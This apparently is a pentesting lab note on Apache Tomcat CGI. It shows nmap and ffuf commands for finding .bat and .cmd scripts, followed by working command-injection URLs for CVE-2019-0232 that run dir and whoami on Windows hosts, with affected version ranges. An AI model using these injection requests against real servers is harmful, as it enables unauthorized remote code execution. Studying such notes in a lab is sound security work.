# Tomcat CGI

### Enumeration

#### Using NMAP

```shell-session
$ nmap -p- -sC -Pn 10.129.204.227 --open 

8080/tcp  open  http-proxy
|_http-title: Apache Tomcat/9.0.17
|_http-favicon: Apache Tomcat
```

#### Fuzzing .bat and .cgi

```shell-session
$ ffuf -w /usr/share/dirb/wordlists/common.txt -u http://10.129.204.227:8080/cgi/FUZZ.cmd
$ ffuf -w /usr/share/dirb/wordlists/common.txt -u http://10.129.204.227:8080/cgi/FUZZ.bat
```

### Exploitation

#### CVE-2019-0232

Assuming we found welcome.bat, `http://10.129.204.227:8080/cgi/welcome.bat?&dir`

If path variable is unset, use this command to use whoami command

<http://10.129.204.227:8080/cgi/welcome.bat?\\&c:\windows\system32\whoami.exe>

use `set` command on windows to view the path variables

### Notes

#### Important Vulnerabilities

CVE-2019-0232 (version 9.0.0.M1 <= 9.0.17, 8.5.0 <= 8.5.39, and 7.0.0 <= 7.0.93)

* Remote Code Execution on Windows System if `enableCmdLineArguments`  is enabled
* POC `http://example.com/cgi-bin/hello.bat?&dir`
